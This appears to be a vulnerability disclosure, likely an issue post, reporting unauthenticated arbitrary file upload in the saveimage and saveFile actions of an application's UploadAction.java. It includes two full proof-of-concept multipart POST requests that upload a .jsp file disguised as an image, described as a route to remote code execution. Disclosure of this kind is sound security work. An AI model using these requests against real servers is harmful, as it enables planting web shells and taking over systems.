Arbitrary file uploads exist

[a02goblin]

``The saveimage method and saveFile in the com/key/common/base/action/UploadAction.java file can directly upload any type of file without authorization

For the saveimage method, this method can be directly called without authorization to upload any specified type of file to the /file/images/ directory, and this directory can be accessed through a browser normally, so malicious files can be uploaded for remote code execution

`POST /diaowen/up/upload!saveimage.action HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Connection: close
Content-Length: 395
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345abcde
Accept-Encoding: gzip, deflate

------WebKitFormBoundary12345abcde
Content-Disposition: form-data; name="uploadify"; filename="1.jsp"
Content-Type: image/jpeg

testnixxx
------WebKitFormBoundary12345abcde
Content-Disposition: form-data; name="uploadifyFileName"

1.jpg
------WebKitFormBoundary12345abcde
Content-Disposition: form-data; name="uploadifyContentType"

image/jpeg
------WebKitFormBoundary12345abcde--
`

Similarly, for the saveFile method, this method can also be directly called without authorization to upload any specified type of file to the directory specified by basepath under the /file directory, and this directory can be accessed through the browser normally, so malicious files can be uploaded file for remote code execution

`POST /diaowen/up/upload!saveFile.action HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Connection: close
Content-Length: 489
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345abcde
Accept-Encoding: gzip, deflate

------WebKitFormBoundary12345abcde
Content-Disposition: form-data; name="basepath"

files
------WebKitFormBoundary12345abcde
Content-Disposition: form-data; name="uploadify"; filename="1.jsp"
Content-Type: image/jpeg

testnixxx
------WebKitFormBoundary12345abcde
Content-Disposition: form-data; name="uploadifyFileName"

1.jpg
------WebKitFormBoundary12345abcde
Content-Disposition: form-data; name="uploadifyContentType"

image/jpeg
------WebKitFormBoundary12345abcde--
`

[easyandeasy]

.....